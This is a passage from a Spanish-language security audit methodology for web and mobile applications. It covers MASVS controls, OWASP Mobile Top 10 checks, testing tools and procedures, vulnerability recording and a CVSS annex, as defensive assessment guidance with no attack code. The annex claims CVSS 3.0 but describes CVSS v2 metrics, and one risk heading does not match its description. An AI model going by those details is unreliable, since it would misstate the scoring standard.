- **MSTG-AUTH-3** Si se utiliza la autenticación basada en tokens sin estado, el servidor proporciona un token que se ha firmado utilizando un algoritmo seguro.
- **MSTG-AUTH-4** Cuando el usuario cierra sesión se termina la sesión también en el servidor.
- **MSTG-AUTH-5** Existe una política de contraseñas y es aplicada en el servidor.

- **MSTG-AUTH-6** El servidor implementa mecanismos, cuando credenciales de autenticación son ingresadas una cantidad excesiva de veces.
- **MSTG-AUTH-7** Las sesiones y los tokens de acceso expiran luego de un tiempo predefinido de inactividad.
- **MSTG-AUTH-8** La autenticación biométrica, si la hay, no está asociada a eventos (p. ej. usando una API que simplemente retorna "true" o "false"), sino basada en el desbloqueo del keychain/keystore (almacenamiento seguro).
- **MSTG-AUTH-9** El sistema remoto implementa un mecanismo de segundo factor de autenticación (2FA) y lo impone consistentemente.
- **MSTG-AUTH-10** Para realizar transacciones críticas se requiere una autenticación adicional (step-up).
- **MSTG-AUTH-11** La aplicación informa al usuario acerca de todas las actividades sensibles en su cuenta. El usuario es capaz de ver una lista de los dispositivos conectados, información contextual (dirección IP, localización, etc.), y es capaz de bloquear ciertos dispositivos.
- **MSTG-AUTH-12** Los modelos de autorización deberían de ser definidos e impuestos por el sistema remoto.

2.2.2.5 Comunicación a través de la red

- **MSTG-NETWORK-1** La información es enviada cifrada utilizando TLS. El canal seguro es usado consistentemente en la aplicación.
- **MSTG-NETWORK-2** Las configuraciones del protocolo TLS siguen las mejores prácticas de la industria, o lo hacen lo mejor posible en caso de que el sistema operativo del dispositivo no soporte los estándares recomendados.
- **MSTG-NETWORK-3** La aplicación verifica el certificado X.509 del sistema remoto al establecer el canal seguro y sólo se aceptan certificados firmados por una CA de confianza.
- **MSTG-NETWORK-4** La aplicación utiliza su propio almacén de certificados o realiza _pinning_ del certificado o la clave pública del servidor. Bajo ningún concepto establecerá conexiones con servidores que ofrecen otros certificados o claves, incluso si están firmados por una CA de confianza.

- **MSTG-NETWORK-5** La aplicación no depende de un único canal de comunicaciones inseguro (email o SMS) para operaciones críticas como registro de usuarios o recuperación de cuentas.
- **MSTG-NETWORK-6** La aplicación sólo depende de bibliotecas de conectividad y seguridad actualizadas.

2.2.2.6 Interacción con la Plataforma

- **MSTG-PLATFORM-1** La aplicación requiere la cantidad de permisos mínimamente necesaria.
- **MSTG-PLATFORM-2** Todo dato ingresado por el usuario o cualquier fuente externa debe ser validado y, si es necesario, saneado. Esto incluye información recibida por la UI o mecanismos IPC como los Intents, URLs y datos provenientes de la red.
- **MSTG-PLATFORM-3** La aplicación no expone ninguna funcionalidad sensible a través esquemas de URL salvo que dichos mecanismos estén debidamente protegidos.
- **MSTG-PLATFORM-4** La aplicación no expone ninguna funcionalidad sensible a través de mecanismos IPC salvo que dichos mecanismos estén debidamente protegidos.
- **MSTG-PLATFORM-5** JavaScript se encuentra deshabilitado en los WebViews salvo que sea necesario.
- **MSTG-PLATFORM-6** Las WebViews se configuran para permitir el mínimo de los esquemas (idealmente, sólo https). Esquemas peligrosos como file, tel y app-id están deshabilitados.
- **MSTG-PLATFORM-7** Si objetos nativos son expuestos en WebViews, debe verificarse que cualquier componente JavaScript se carga exclusivamente desde el contenedor de la aplicación.
- **MSTG-PLATFORM-8** La serialización de objetos, si se realiza, debe implementarse utilizando API seguras.
- **MSTG-PLATFORM-9** La aplicación se protege contra ataques de tipo screen overlay. (sólo Android)

- **MSTG-PLATFORM-10** La caché, el almacenamiento y los recursos cargados (JavaScript, etc.) de las WebViews deben de borrarse antes de destruir la WebView.
- **MSTG-PLATFORM-11** Verificar que la aplicación impide el uso de teclados de terceros siempre que se introduzca información sensible.

2.2.2.7 Calidad de Código y Configuración del Compilador

- **MSTG-CODE-1** La aplicación es firmada y provista con un certificado válido, cuya clave privada está debidamente protegida.
- **MSTG-CODE-2** La aplicación fue publicada en modo release y con las configuraciones apropiadas para el mismo (por ejemplo, non-debuggable).
- **MSTG-CODE-3** Los símbolos de depuración fueron eliminados de los binarios nativos.
- **MSTG-CODE-4** Cualquier código de depuración y/o de asistencia al desarrollador (p. ej. código de test, backdoors, configuraciones ocultas) debe ser eliminado. La aplicación no hace logs detallados de errores ni de mensajes de depuración.
- **MSTG-CODE-5** Todos los componentes de terceros se encuentran identificados y revisados en cuanto a vulnerabilidades conocidas.
- **MSTG-CODE-6** La aplicación captura y gestiona debidamente las posibles excepciones.
- **MSTG-CODE-7** Los controles de seguridad deniegan el acceso por defecto.
- **MSTG-CODE-8** En código no administrado, la memoria es solicitada, utilizada y liberada de manera correcta.
- **MSTG-CODE-9** Las funcionalidades de seguridad gratuitas de las herramientas, tales como minificación del byte-code, protección de la pila, soporte PIE y conteo automático de referencias, se encuentran activadas.

Se prestará especial interés en las vulnerabilidades clasificadas como top ten.

- **M1- Controles del lado del servidor débiles**

La aplicación servidor a la cual se conecta el dispositivo móvil remotamente, no posee controles suficientes de seguridad por lo cual la aplicación cliente podría enviar datos que el servidor no sepa procesar y por ende crear una condición de vulnerabilidad que puede permitir ejecutar código del lado del servidor, inyectar código o realizar acciones arbitrarias tendientes a afectar los datos contenidos en el servidor.

- **M2-Almacenamiento de datos inseguro**

  La aplicación cliente no almacena los datos de manera segura (corresponde solo en los casos en que la aplicación móvil almacena datos en el dispositivo), por lo cual si alguien pierde el dispositivo, los datos podrían verse comprometidos (fuga de información), o en caso que se guarden datos sensibles de la aplicación, que el usuario no debiera conocer o alterar, es viable que el usuario los pueda llegar a acceder o modificar sin autorización y sin que la aplicación servidor pueda identificar estas alteraciones.

  Las principales comprobaciones serán:

  - Si se almacena información confidencial o sensible deberá almacenarse en InternalStorage y deberá estar cifrado mediante el mecanismo setStorageEncription
  - Si se almacenan capturas de pantallas, no aparecen en ellas información confidencial o sensible
  - No se utilizan mecanismos de caché en las comunicaciones HTTP.
  - Si se envían notificaciones se establecen permisos para que el usuario los valide.
  - Cuando se cierra la aplicación, programáticamente se debe de eliminar la misma de la memoria (sólo para información sensible)

- M3-Insuficiente Protección en la Capa de Transporte

  Al momento en que la aplicación cliente en el dispositivo se conecta al servidor para transmitir información, esta conexión no se realiza de manera segura, por lo cual los datos en tránsito se encuentran en riesgo de ser interceptados, lo que deja los datos expuestos a fuga de información o modificación no autorizada de la misma.

- Las principales comprobaciones serán:
- No se usan certificados autofirmados.
- Toda comunicación se realiza usando protocolos seguros.

- **M4-Filtración imprevista de datos**

  La aplicación en el dispositivo puede fugarse debido a las actualizaciones del sistema operativo, de los frameworks de software, o incluso del hardware (cuando es posible). Estas actualizaciones ponen en riesgo o cambian el comportamiento de la aplicación.

  - Las principales comprobaciones serán:
  - La información sensible y confidencial en una petición HTTP/S se debe enviar cifrada y firmada en el cuerpo de la petición junto con un token para evitar ataques del tipo CSRF. Si no fuera posible enviar dicha información en el cuerpo de la petición (verbos GET/DELETE), deberá ir correctamente cifrada
  - No se proporciona al usuario información sobre errores que un atacante pueda utilizar para detectar debilidades
  - Si se maneja información sensible o confidencial en la interfaz de usuario, comprobar que está deshabilitado el copy/paste.
  - Si se maneja información sensible o confidencial en la interfaz de usuario se utiliza una implementación de teclado especial que tenga desactivado el diccionario asociado al usuario. Comprobar que no autorellenan los campos con información sensible o las passwords.
  - Se han eliminado los datos de posicionamiento en todos aquellos medios generados por el dispositivo antes de su persistencia local. Por ejemplo información EXIF en imágenes.
  - No se envía información sensible o confidencial a elementos externos.
  - No se puede acceder a los gráficos de pantallas ya visitadas guardadas en caché que contengan información confidencial después de haber realizado el logout.

- **M5-Autorización y Autentificación Débiles**

La aplicación no provee los niveles adecuados y necesarios de autorización y autenticación, por lo cual un usuario podría saltarse la autenticación de la aplicación logrando acceso no autorizado y suplantación de identidad, o modificar los niveles de autorización logrando, por ejemplo, escalamiento de privilegios o acceso no autorizado a información de la aplicación.

- Las principales comprobaciones serán:
- Los mensajes de error de autenticación no informan si lo incorrecto es el usuario o la password.
- La aplicación no utiliza el Id único del dispositivo (UUID).

- **M6-Criptografia rota**

  La aplicación no realiza un cifrado adecuado a la información almacenada o transmitida (desde o hacia el dispositivo) por lo cual se puede lograr acceso no autorizado a la información de la aplicación.

- **M7-Inyección en el lado del cliente**

  La aplicación cliente en el dispositivo móvil, no posee controles suficientes de seguridad para la entrada o envío de datos al servidor, por lo cual desde la aplicación cliente se podrían enviar datos que el servidor no procese adecuadamente y permita realizar acciones sobre los datos contenidos en el servidor.

- **M8-Fuga de datos involuntaria**

  La aplicación podría recibir datos de entrada de varias fuentes (diferentes a la aplicación cliente), los cuales si no son validados previamente para ser procesados por la aplicación, podrían poner en riesgo la seguridad de la información de la aplicación

  Las principales comprobaciones serán:
  - Los componentes expuestos de forma pública validan la información de entrada.
  - Si se carga contenido ajenos a DGT existe la aprobación del departamento de Arquitectura

- **M9-Manejo incorrecto de sesiones**

  La aplicación no provee los niveles adecuados y necesarios, por lo cual una sesión de usuario válida podría ser interceptada y los datos transmitidos estarían en riesgo. Igualmente, un usuario no autorizado podría clonar una sesión válida de usuario, saltando con esto los controles de autenticación y autorización. Aspectos como manejo de timeout, uso de cookies de aplicación de insegura creación y manejo de tokens/llaves de sesión podrían permitir acceso no autorizado a los datos y suplantación de identidad.

  Las principales comprobaciones serán:

  - Se debe de haber establecido un sistema de sesiones y su duración no excede el tiempo establecido por el nivel de criticidad de la aplicación
  - Al caducar la sesión se elimina toda la información confidencial sensible.
  - La cookie de sesión es suficientemente grande e impredecible.

- **M10-Falta de protección binaria**

  Cuando una persona no autorizada realiza cambios a los binarios de la aplicación y modifica el comportamiento de esta, por ejemplo, para variar los datos enviados al servidor, para transmitirlos a un servidor alterno no autorizado, realizar cualquier tipo de modificación a la información, modificar la presentación de la aplicación e incluso llegar a permitir la fuga de la información.

  Las principales comprobaciones serán:

  - Toda *Activity* válida de la aplicación se encuentra en un estado compatible con un proceso válido de autenticación. Si el usuario no está correctamente autenticado se redirigirá a la vista de LOGIN.

  Otras comprobaciones adicionales:

  - La información sensible y confidencial se mostrará ofuscada o incompleta en la interfaz gráfica y si es necesario mostrarla completa, se solicitará permiso al usuario.

2.3 Ejecución de pruebas

Para llevar a cabo la auditoría de las aplicaciones Web y móviles se realiza un análisis utilizando metodologías públicas (OWASP) y privadas, herramientas automáticas, pruebas manuales y desarrollos específicos según el caso.

Las tareas a realizar son las siguientes:

- Ejecución automatizada de los escáner de vulnerabilidades (WebInspect, ZAP, Burp, …)
- Verificación de las vulnerabilidades detectadas por la herramienta automatizada.
- Explotación de vulnerabilidades y fallos de programación.
- Generación de evidencias.
- Eliminación de falsos positivos.

Entre las herramientas utilizadas durante el análisis cabe destacar:

- HP WebInspect software
- Distribución Santoku Linux para móviles
- Drozer (Android)
- Needle, Objection (IOS)
- Diversas herramientas de software libre como: dirb, sqlmap, Burp Proxy, ZAP Proxy, Proxystrike, Sslscan, Hydra, etc.

Se utilizan herramientas automáticas para probar distintos valores maliciosos en cada una de ellas en busca de respuestas que puedan indicar que exista una vulnerabilidad explotable. Todas las respuestas que son distintas de un patrón correcto se estudian y evalúan en busca de posibles problemas de seguridad.

Por otro lado, se analizan los procesos de negocio en busca de operativas no esperadas y por tanto no planificadas. Estas auditorías no tienen un procedimiento definido y dependen en gran medida del tipo de aplicación. Se busca en estos casos obtener información sobre el sistema (a partir de volcados de la

pila de ejecución en errores no controlados, p.ej), acceso a datos restringidos o abuso de operativas con fallos de diseño no obvios.

Un aspecto importante a tener en cuenta es que la ejecución de pruebas de seguridad automatizadas produce una gran cantidad de intentos de ejecución con valores "extraños" que en el caso de que la aplicación incluya inserciones y modificación de datos almacenados puede generar gran cantidad de datos "basura" en bases de datos y ficheros. Se recomienda que exista un procedimiento de salvaguardia o vuelta atrás a ejecutar tras la prueba para eliminar esos datos basura.
Además, las pruebas automatizadas pueden producir sobrecarga y mal funcionamiento de la aplicación en pruebas, así como otras que dependan de ella, por lo que es necesario observar el correcto funcionamiento de la aplicación durante las pruebas y solicitar la parada o el redimensionamiento de la carga transaccional si fuera necesario.

Por los motivos anteriormente citados no se recomienda nunca realizar las pruebas de seguridad en entornos de producción o formación salvo que sea totalmente indispensable, justificado y controlado.

2.3.1 Registro y Clasificación de vulnerabilidades

Se realiza documentando las ocurrencias detectadas clasificadas por Vulnerabilidad Tipo, presenta un listado de vulnerabilidades identificadas en lugares concretos. La denominación de ocurrencia se asocia con un problema de seguridad en una ubicación específica.

La información que se presenta en dicho apartado para cada una de las ocurrencias es la siguiente:

- **Localizador**: presentado en el encabezado de cada tabla, representa la ubicación de la vulnerabilidad. Esto es, en el caso de un dispositivo, la dirección IP y el puerto donde se identifica la vulnerabilidad o el nombre de la máquina, en el caso de un aplicativo Web, la URL y el parámetro vulnerable.
- **ID Ocurrencia**: representa un identificador único para cada ocurrencia. Este identificador permitirá realizar un seguimiento de dicha ocurrencia a lo largo del tiempo.

- **Vulnerabilidad Tipo**: refleja el tipo de problema de seguridad en el que se engloba la ocurrencia.
- **Fecha de ocurrencia**: se corresponde con la fecha de análisis de la ocurrencia.
- **CVSS Base, CVSS Temporal, CVSS Entorno**: se incluye en estos tres apartados la información relativa al riesgo, en base al estándar CVSS, con tres métricas: el riesgo base, el riesgo que irá variando en función del tiempo y el riesgo asociado al entorno. El detalle sobre el uso de CVSS se recoge en el epígrafe 4, Criterio de Clasificación del Riesgo.
- **Descripción**: en el apartado descripción de cada ocurrencia se presenta la información específica del problema detectado en un lugar concreto. En este apartado se incluye toda la información relativa al problema concreto. En el caso de ser necesaria alguna indicación particular sobre su corrección también será incluida aquí.
- **Enlaces Externos**: en este apartado se incluye, en caso de ser necesario, una serie de enlaces Web donde habrá disponible información adicional que ayude a complementar la información presentada sobre la ocurrencia.
- **Evidencias**: en los casos en los que sea necesario, se incluirá una o varias capturas de pantalla u otro tipo de documento que representarán una evidencia gráfica del problema identificado.

Para realizar la clasificación de las vulnerabilidades detectadas se emplea la versión 3.0 del estándar CVSS (*Common Vulnerability Scoring System*). Ver Anexo A: CVSS.

2.4 Anexo A: CVSS

A continuación se hace un breve resumen del estándar y cómo afecta a la valoración del riesgo en el presente documento:

CVSS está compuesto por un conjunto de tres grupos de métricas: Base, Temporal y del Entorno. Cada uno de estos grupos está compuesto, a su vez, por un conjunto de métricas:

- **Base**: representa las características fundamentales e intrínsecas a una vulnerabilidad y que son constantes en el tiempo y en el entorno del usuario, se compone de:
- Vector de Acceso: Local, Red o Red Adyacente.
- Complejidad de Acceso: Alta, Media, Baja.
- Autenticación: Ninguna, Simple o Múltiple.
- Impacto en Confidencialidad, Integridad y Disponibilidad. Cómo afecta la vulnerabilidad a cada uno de estos aspectos con los valores: No Definido, Completo, Parcial o Ninguno.
- **Temporal**: representa las características de una vulnerabilidad que cambian con el tiempo pero que no se ven afectadas por cambios en el entorno de usuario. Se compone de:
- Explotabilidad: Sin probar, Prueba de concepto, Funcional, Alta, No Definida.
- Nivel de solución: Oficial, Temporal, Parche, No disponible, No definida.
- Fiabilidad de detección: Sin Confirmar, Sin Corroborar, Confirmada, No definida.
- **Entorno**: recoge las características de una vulnerabilidad que son relevantes y únicas en un entorno de usuario concreto. Se compone de:
- Efecto colateral: Ninguno, Bajo, Medio, Alto, No Definido.
- Distribución: Ninguna, Baja, Media, Alta, No Definida.
- Confidencialidad, Integridad y Disponibilidad requeridas: No Definido, Bajo, Medio, Alto.

Combinando este conjunto de métricas se obtienen los valores finales de Riesgo Base, Riesgo Temporal y Riesgo del Entorno.

La dirección Web oficial del estándar es la siguiente: https://www.first.org/cvss/user-guide